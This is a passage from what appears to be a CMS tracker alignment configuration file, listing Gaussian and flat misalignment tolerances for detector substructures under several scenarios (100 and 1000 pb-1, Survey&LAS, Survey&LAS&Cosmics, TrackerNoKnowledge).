cms.double(0.002), phiXlocal = cms.double(5e-06), dYlocal = cms.double(0.002), phiZlocal = cms.double(5e-06), dXlocal = cms.double(0.002), phiYlocal = cms.double(5e-06) ), distribution = cms.string('gaussian') ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRings100pb_2D ), TECRing1_3_4 = cms.PSet( TECRings100pb_1D ) ), scaleError = cms.double(1.0), TECPetals = cms.PSet( dZlocal = cms.double(0.0055), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.0055), phiZlocal = cms.double(2e-05), dXlocal = cms.double(0.0055), phiYlocal = cms.double(2e-05) ), TECDisks = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(5e-06), dYlocal = cms.double(0.003), phiZlocal = cms.double(5e-06), dXlocal = cms.double(0.003), phiYlocal = cms.double(5e-06) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRings100pb_1D ), TECRing1_4 = cms.PSet( TECRings100pb_2D ) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRings100pb_2D ), TECRing1_2_4_5 = cms.PSet( TECRings100pb_1D ) ), distribution = cms.string('gaussian'), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRings100pb_1D ), TECRing1_2_5 = cms.PSet( TECRings100pb_2D ) ) ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(2.2e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(2.2e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(2.2e-05) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(1.5e-05) ), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(1.1e-05), dYlocal = cms.double(0.0005), phiZlocal = cms.double(1.1e-05), dXlocal = cms.double(0.0005), phiYlocal = cms.double(1.1e-05) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(1.5e-05) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( scale = cms.double(1.0), scaleError = cms.double(1.0), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.00023), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.00023), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.00023) ) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.00023), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.00023), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.00023) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.0025), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.0025), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.0025), phiYlocal = cms.double(4e-05) ), distribution = cms.string('gaussian'), TIDRings = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.00023), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.00023), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.00023) ) ) ) # ----------------------------------------------------------------------- # 1000 pb-1 misalignment scenario # See CMS IN 2007/036 # first helper blocks for TEC: TECRings1000pb_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) TECRings1000pb_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) # now real scenario: Tracker1000pbScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(5e-06), dYlocal = cms.double(0.001), phiZlocal = cms.double(5e-06), dXlocal = cms.double(0.001), phiYlocal = cms.double(5e-06) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(2e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(2e-05) ) ), scaleError = cms.double(1.0), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(2e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(2e-05) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(5e-06), dYlocal = cms.double(0.001), phiZlocal = cms.double(5e-06), dXlocal = cms.double(0.001), phiYlocal = cms.double(5e-06) ) ), TPBHalfBarrels = cms.PSet( scale = cms.double(1.0), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(2.2e-05), dYlocal = cms.double(0.0005), phiZlocal = cms.double(2.2e-05), distribution = cms.string('gaussian'), dXlocal = cms.double(0.0005), phiYlocal = cms.double(2.2e-05) ), TPBLayers = cms.PSet( phiXlocal = cms.double(3e-06), phiZlocal = cms.double(3e-06), dZ = cms.double(0.0005), dX = cms.double(0.0005), dY = cms.double(0.0005), distribution = cms.string('gaussian'), phiYlocal = cms.double(3e-06) ), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(3e-06), dYlocal = cms.double(0.0005), phiZlocal = cms.double(3e-06), distribution = cms.string('gaussian'), dXlocal = cms.double(0.0005), phiYlocal = cms.double(3e-06) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0018), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.0018), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.0018), phiYlocal = cms.double(4e-05) ) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dXlocal = cms.double(0.0), dZlocal = cms.double(0.0), dYlocal = cms.double(0.0) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0018), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.0018), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.0018), phiYlocal = cms.double(4e-05) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.0018), phiXlocal = cms.double(7e-06), dYlocal = cms.double(0.0018), phiZlocal = cms.double(7e-06), dXlocal = cms.double(0.0018), phiYlocal = cms.double(7e-06) ), TOBHalfBarrels = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(2e-06), dYlocal = cms.double(0.001), phiZlocal = cms.double(2e-06), dXlocal = cms.double(0.001), phiYlocal = cms.double(2e-06) ), distribution = cms.string('gaussian') ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRings1000pb_2D ), TECRing1_3_4 = cms.PSet( TECRings1000pb_1D ) ), scaleError = cms.double(1.0), TECPetals = cms.PSet( dZlocal = cms.double(0.004), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.004), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.004), phiYlocal = cms.double(1.5e-05) ), TECDisks = cms.PSet( dZlocal = cms.double(0.002), phiXlocal = cms.double(5e-06), dYlocal = cms.double(0.002), phiZlocal = cms.double(5e-06), dXlocal = cms.double(0.002), phiYlocal = cms.double(5e-06) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRings1000pb_1D ), TECRing1_4 = cms.PSet( TECRings1000pb_2D ) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRings1000pb_2D ), TECRing1_2_4_5 = cms.PSet( TECRings1000pb_1D ) ), distribution = cms.string('gaussian'), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRings1000pb_1D ), TECRing1_2_5 = cms.PSet( TECRings1000pb_2D ) ) ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(1.1e-05), dYlocal = cms.double(0.0005), phiZlocal = cms.double(1.1e-05), dXlocal = cms.double(0.0005), phiYlocal = cms.double(1.1e-05) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(7e-06), dYlocal = cms.double(0.0005), phiZlocal = cms.double(7e-06), dXlocal = cms.double(0.0005), phiYlocal = cms.double(7e-06) ), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(1.1e-05), dYlocal = cms.double(0.0005), phiZlocal = cms.double(1.1e-05), dXlocal = cms.double(0.0005), phiYlocal = cms.double(1.1e-05) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(7e-06), dYlocal = cms.double(0.0005), phiZlocal = cms.double(7e-06), dXlocal = cms.double(0.0005), phiYlocal = cms.double(7e-06) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( scale = cms.double(1.0), scaleError = cms.double(1.0), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0025), phiXlocal = cms.double(0.00011), dYlocal = cms.double(0.0025), phiZlocal = cms.double(0.00011), dXlocal = cms.double(0.0025), phiYlocal = cms.double(0.00011) ) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0025), phiXlocal = cms.double(0.00011), dYlocal = cms.double(0.0025), phiZlocal = cms.double(0.00011), dXlocal = cms.double(0.0025), phiYlocal = cms.double(0.00011) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.0012), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.0012), phiZlocal = cms.double(2e-05), dXlocal = cms.double(0.0012), phiYlocal = cms.double(2e-05) ), distribution = cms.string('gaussian'), TIDRings = cms.PSet( dZlocal = cms.double(0.0025), phiXlocal = cms.double(0.00011), dYlocal = cms.double(0.0025), phiZlocal = cms.double(0.00011), dXlocal = cms.double(0.0025), phiYlocal = cms.double(0.00011) ) ) ) # ----------------------------------------------------------------------- # Survey&LAS only misalignment scenario # See CMS IN 2007/036, table 6, "Updated initial uncertainties" # first helper blocks for TEC: TECRingsSurveyLASOnly_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) TECRingsSurveyLASOnly_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) # now real scenario: TrackerSurveyLASOnlyScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.075), phiXlocal = cms.double(0.000488), dYlocal = cms.double(0.075), phiZlocal = cms.double(0.000488), dXlocal = cms.double(0.075), phiYlocal = cms.double(0.000488) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), scaleError = cms.double(1.0), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.045), phiXlocal = cms.double(0.000293), dYlocal = cms.double(0.045), phiZlocal = cms.double(0.000293), dXlocal = cms.double(0.045), phiYlocal = cms.double(0.000293) ) ), TPBHalfBarrels = cms.PSet( scale = cms.double(1.0), DetUnits = cms.PSet( dZlocal = cms.double(0.006), phiXlocal = cms.double(0.00027), dYlocal = cms.double(0.006), phiZlocal = cms.double(0.00027), distribution = cms.string('gaussian'), dXlocal = cms.double(0.006), phiYlocal = cms.double(0.00027) ), TPBLayers = cms.PSet( phiXlocal = cms.double(1e-05), phiZlocal = cms.double(1e-05), dZ = cms.double(0.0337), dX = cms.double(0.0225), dY = cms.double(0.0225), distribution = cms.string('gaussian'), phiYlocal = cms.double(1e-05) ), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.005), phiZlocal = cms.double(2e-05), distribution = cms.string('flat'), dXlocal = cms.double(0.005), phiYlocal = cms.double(2e-05) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dXlocal = cms.double(0.0), dZlocal = cms.double(0.0), dYlocal = cms.double(0.0) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.01), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.01), phiYlocal = cms.double(4e-05) ), TOBHalfBarrels = cms.PSet( dZlocal = cms.double(0.05), phiXlocal = cms.double(1e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1e-05) ), distribution = cms.string('gaussian') ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRingsSurveyLASOnly_2D ), TECRing1_3_4 = cms.PSet( TECRingsSurveyLASOnly_1D ) ), scaleError = cms.double(1.0), TECPetals = cms.PSet( dZlocal = cms.double(0.007), phiXlocal = cms.double(3e-05), dYlocal = cms.double(0.007), phiZlocal = cms.double(3e-05), dXlocal = cms.double(0.007), phiYlocal = cms.double(3e-05) ), TECDisks = cms.PSet( dZlocal = cms.double(0.015), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1.5e-05) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRingsSurveyLASOnly_1D ), TECRing1_4 = cms.PSet( TECRingsSurveyLASOnly_2D ) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRingsSurveyLASOnly_2D ), TECRing1_2_4_5 = cms.PSet( TECRingsSurveyLASOnly_1D ) ), distribution = cms.string('gaussian'), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRingsSurveyLASOnly_1D ), TECRing1_2_5 = cms.PSet( TECRingsSurveyLASOnly_2D ) ) ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.001), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.001), phiYlocal = cms.double(0.0002) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.001) ), TPEHalfCylinders = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.001) ), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.0005), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.0005), phiYlocal = cms.double(0.0001) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.001), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.001), phiYlocal = cms.double(0.0002) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( scale = cms.double(1.0), scaleError = cms.double(1.0), TIDEndcaps = cms.PSet( dZlocal = cms.double(0.045), phiXlocal = cms.double(0.000649), dYlocal = cms.double(0.045), phiZlocal = cms.double(0.000649), dXlocal = cms.double(0.045), phiYlocal = cms.double(0.000649) ), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.035), phiXlocal = cms.double(0.000532), dYlocal = cms.double(0.035), phiZlocal = cms.double(0.000532), dXlocal = cms.double(0.035), phiYlocal = cms.double(0.000532) ), distribution = cms.string('gaussian'), TIDRings = cms.PSet( dZlocal = cms.double(0.0185), phiXlocal = cms.double(0.00085), dYlocal = cms.double(0.0185), phiZlocal = cms.double(0.00085), dXlocal = cms.double(0.0185), phiYlocal = cms.double(0.00085) ) ) ) # ----------------------------------------------------------------------- # Survey&LAS&Cosmics scenario # ---------------------------------------- # ----------------- NOTE ----------------- # Sufficient studies do not yet exist to # provide a reliable version of this # scenario (Survey+LAS+Cosmics alignment). # # This scenario is not supposed to be used # to make public(?) estimates of the # performance of the CMS. # # This scenario contains lots of guesses, # especially concerning the improvement # one can reach by using Cosmics in # track based alignment. # The guess is that with Cosmics, one # can reach for largest barrel-like parts # the average alignment accuracy of the # 10pb-1 and the SurveyLASOnly scenarios. # # The same applies also,but to a lesser # extent, to the 10pb-1 scenario. # ------------- NOTE ends ---------------- # ---------------------------------------- # first helper blocks for TEC: TECRingsSurveyLASCosmics_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) TECRingsSurveyLASCosmics_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) # now real scenario: TrackerSurveyLASCosmicsScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.0425), phiXlocal = cms.double(0.000277), dYlocal = cms.double(0.0425), phiZlocal = cms.double(0.000277), dXlocal = cms.double(0.0425), phiYlocal = cms.double(0.000277) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), scaleError = cms.double(1.0), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.0275), phiXlocal = cms.double(0.000179), dYlocal = cms.double(0.0275), phiZlocal = cms.double(0.000179), dXlocal = cms.double(0.0275), phiYlocal = cms.double(0.000179) ) ), TPBHalfBarrels = cms.PSet( scale = cms.double(1.0), DetUnits = cms.PSet( dZlocal = cms.double(0.006), phiXlocal = cms.double(0.00027), dYlocal = cms.double(0.006), phiZlocal = cms.double(0.00027), distribution = cms.string('gaussian'), dXlocal = cms.double(0.006), phiYlocal = cms.double(0.00027) ), TPBLayers = cms.PSet( phiXlocal = cms.double(9e-06), phiZlocal = cms.double(9e-06), dZ = cms.double(0.0174), dX = cms.double(0.0118), dY = cms.double(0.0118), distribution = cms.string('gaussian'), phiYlocal = cms.double(9e-06) ), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.002), phiXlocal = cms.double(9e-06), dYlocal = cms.double(0.002), phiZlocal = cms.double(9e-06), distribution = cms.string('gaussian'), dXlocal = cms.double(0.002), phiYlocal = cms.double(9e-06) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dXlocal = cms.double(0.0), dZlocal = cms.double(0.0), dYlocal = cms.double(0.0) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.01), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.01), phiYlocal = cms.double(4e-05) ), TOBHalfBarrels = cms.PSet( dZlocal = cms.double(0.03), phiXlocal = cms.double(1e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1e-05) ), distribution = cms.string('gaussian') ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRingsSurveyLASCosmics_2D ), TECRing1_3_4 = cms.PSet( TECRingsSurveyLASCosmics_1D ) ), scaleError = cms.double(1.0), TECPetals = cms.PSet( dZlocal = cms.double(0.007), phiXlocal = cms.double(3e-05), dYlocal = cms.double(0.007), phiZlocal = cms.double(3e-05), dXlocal = cms.double(0.007), phiYlocal = cms.double(3e-05) ), TECDisks = cms.PSet( dZlocal = cms.double(0.015), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1.5e-05) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRingsSurveyLASCosmics_1D ), TECRing1_4 = cms.PSet( TECRingsSurveyLASCosmics_2D ) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRingsSurveyLASCosmics_2D ), TECRing1_2_4_5 = cms.PSet( TECRingsSurveyLASCosmics_1D ) ), distribution = cms.string('gaussian'), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRingsSurveyLASCosmics_1D ), TECRing1_2_5 = cms.PSet( TECRingsSurveyLASCosmics_2D ) ) ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.001), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.001), phiYlocal = cms.double(0.0002) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.001) ), TPEHalfCylinders = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.001) ), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.0005), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.0005), phiYlocal = cms.double(0.0001) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.001), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.001), phiYlocal = cms.double(0.0002) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( scale = cms.double(1.0), scaleError = cms.double(1.0), TIDEndcaps = cms.PSet( dZlocal = cms.double(0.0225), phiXlocal = cms.double(0.000325), dYlocal = cms.double(0.0225), phiZlocal = cms.double(0.000325), dXlocal = cms.double(0.0225), phiYlocal = cms.double(0.000325) ), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.03), phiXlocal = cms.double(0.000456), dYlocal = cms.double(0.03), phiZlocal = cms.double(0.000456), dXlocal = cms.double(0.03), phiYlocal = cms.double(0.000456) ), distribution = cms.string('gaussian'), TIDRings = cms.PSet( dZlocal = cms.double(0.0185), phiXlocal = cms.double(0.00085), dYlocal = cms.double(0.0185), phiZlocal = cms.double(0.00085), dXlocal = cms.double(0.0185), phiYlocal = cms.double(0.00085) ) ) ) # ----------------------------------------------------------------------- # TrackerNoKnowledge scenario # ---------------------------------------- # ----------------- NOTE ----------------- # This scenario is not supposed to be used # to make public(?) estimates of the # performance of the CMS. # # This scenario contains lots of guesses, # and is intended to be used as a stress # test for aligning with cosmics as well # as a initial misalignment for LAS studies # ------------- NOTE ends ---------------- # ---------------------------------------- # first helper blocks for TEC: TECRingsTrackerNoKnowledge_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.0028), phiZlocal = cms.double(0.0003), dXlocal = cms.double(0.0028), phiYlocal = cms.double(0.0005) ) ) TECRingsTrackerNoKnowledge_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.0028), phiZlocal = cms.double(0.0003), dXlocal = cms.double(0.0028), phiYlocal = cms.double(0.0005) ) ) # now actual scenario TrackerNoKnowledgeScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.02), phiXlocal = cms.double(0.0006), dYlocal = cms.double(0.04), phiZlocal = cms.double(0.0006), dXlocal = cms.double(0.04), phiYlocal = cms.double(0.0006) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.0005), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.0005) ) ), scaleError = cms.double(1.0), TIBHalfShells = cms.PSet( dZlocal = cms.double(0.015), phiXlocal = cms.double(0.0004), dYlocal = cms.double(0.03), phiZlocal = cms.double(0.0004), dXlocal = cms.double(0.03), phiYlocal = cms.double(0.0004) ), TIBBarrels = cms.PSet( # FIXME?? dZlocal = cms.double(0.2), phiXlocal = cms.double(0.0017), dYlocal = cms.double(0.2), phiZlocal = cms.double(0.0017), dXlocal = cms.double(0.2), phiYlocal = cms.double(0.0017) ), TIBHalfBarrels = cms.PSet( # FIXME?? dZlocal = cms.double(0.1), phiXlocal = cms.double(0.0008), dYlocal = cms.double(0.1), phiZlocal = cms.double(0.0008), dXlocal = cms.double(0.1), phiYlocal = cms.double(0.0008) ), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.0005), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.0005) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.0004), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0002) ), TIBSurfaces = cms.PSet( dZlocal 